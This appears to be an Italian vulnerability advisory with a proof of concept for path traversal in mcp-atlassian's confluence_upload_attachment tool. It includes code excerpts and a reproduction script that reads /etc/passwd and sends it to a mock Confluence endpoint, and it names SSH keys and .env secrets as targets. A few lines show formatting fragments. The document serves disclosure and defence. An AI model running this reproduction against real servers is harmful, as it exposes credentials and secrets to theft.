
Proof-of-concept exploit per la lettura arbitraria di file in mcp-atlassian tramite path traversal in confluence_upload_attachment, con analisi e script di riproduzione.
Gravità: Alta (CVSS 8.6)
CWE: CWE-22 — Path Traversal
Componente interessato: sooperset/mcp-atlassian < 0.22.0
Corretto in: 0.22.0
Advisory: GHSA-p6hp-93wp-fh6p
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-77262
Crediti: Romain Deperne
Il tool MCP confluence_upload_attachment passa il suo argomento file_path direttamente a open(file_path, "rb") senza alcuna validazione del percorso. Un attaccante che può invocare il tool legge file arbitrari dal filesystem del server e li esfiltra tramite upload multipart verso un endpoint Confluence controllato dall'attaccante. Il trasporto predefinito streamable-http si lega a senza autenticazione, rendendo questo problema sfruttabile da remoto senza credenziali.
0.0.0.0Questa è la controparte simmetrica lato lettura del già corretto GHSA-xjgw-4wvw-rgm4 — la correzione in v0.17.0 copriva solo il percorso di scrittura/download. Il percorso di upload è rimasto senza protezione.
mcp-atlassian aveva già ricevuto una correzione per il path traversal in v0.17.0 (GHSA-xjgw-4wvw-rgm4), che ha corretto il percorso di scrittura — download degli allegati su disco locale. La mia ipotesi: quando una correzione viene applicata a una direzione di un'operazione simmetrica, l'altra direzione viene spesso trascurata.
Esaminando i punti di chiamata di open( in attachments.py è emerso che il percorso di download chiamava validate_safe_path(local_path) prima di aprire un file, mentre il percorso di upload non lo faceva. Le due direzioni avevano una validazione del percorso incoerente.
La definizione del tool lo confermava: file_path: Annotated[str, Field(description="Absolute path to the file to upload")] senza vincolo pattern=, senza validatore, niente. Il campo è letteralmente documentato come accettante un percorso assoluto senza alcuna restrizione.
L'ho riprodotto end-to-end: ho avviato il processo reale del server mcp-atlassian, lo ho pilotato con un client MCP stdio (mcp.ClientSession), lo ho puntato verso uno stub HTTP Confluence mock locale e ho invocato confluence_upload_attachment con file_path=/etc/passwd. Il server mock ha registrato l'intero contenuto di /etc/passwd nel corpo multipart. Due esecuzioni complete di riproduzione, entrambe registrate nei file PoC.
Il binding predefinito HOST=0.0.0.0 senza autenticazione rende questo problema sfruttabile da remoto senza credenziali nella distribuzione predefinita.
File: src/mcp_atlassian/confluence/attachments.py, riga 477
with open(file_path, "rb") as fp: # ← file_path è controllato dall'attaccante
files = {"file": (filename, fp, content_type)}
response = self.confluence.session.post(url, files=files, ...)
Definizione del tool (src/mcp_atlassian/servers/confluence.py:1307):
file_path: Annotated[str, Field(description="Absolute path to the file to upload")]
# Nessun pattern=, nessun validatore, nessuna validate_safe_path()
L'asimmetria con il percorso di download corretto:
# attachments.py:223 — CORRETTO (percorso di download)
validate_safe_path(local_path) # ← protezione aggiunta in v0.17.0
open(local_path, "wb")
# attachments.py:477 — VULNERABILE (percorso di upload)
open(file_path, "rb") # ← nessuna protezione, trascurato in v0.17.0
La correzione in v0.17.0 per GHSA-xjgw-4wvw-rgm4 ha aggiunto chiamate validate_safe_path() sul lato scrittura (download degli allegati su disco locale) ma non ha controllato il lato lettura (upload di file locali verso Confluence). Il decoratore check_write_access non è correlato — limita solo READ_ONLY_MODE.
Esposizione di rete predefinita (src/mcp_atlassian/__init__.py:151):
HOST = "0.0.0.0" # si lega a tutte le interfacce
# nessun livello di autenticazione nel trasporto streamable-http
Riprodotto completamente end-to-end contro uno stub HTTP locale che simula l'API Confluence. Vedi mcp_client.py, mock_confluence.py e poc_run1.sh.
# poc_run1.sh — legge /etc/passwd tramite confluence_upload_attachment
# 1. Avvia l'endpoint Confluence mock
python mock_confluence.py &
# 2. Invoca il tool MCP con payload di path traversal
python mcp_client.py \
--tool confluence_upload_attachment \
--page-id 123456 \
--file-path /etc/passwd \
--filename passwd.txt
# → il contenuto di /etc/passwd appare nel log di mock_confluence.py
/etc/passwd, chiavi SSH, .env, segreti dell'applicazione)streamable-http si lega a 0.0.0.0, senza autenticazione; qualsiasi attaccante raggiungibile dalla rete può invocare direttamente i tool MCP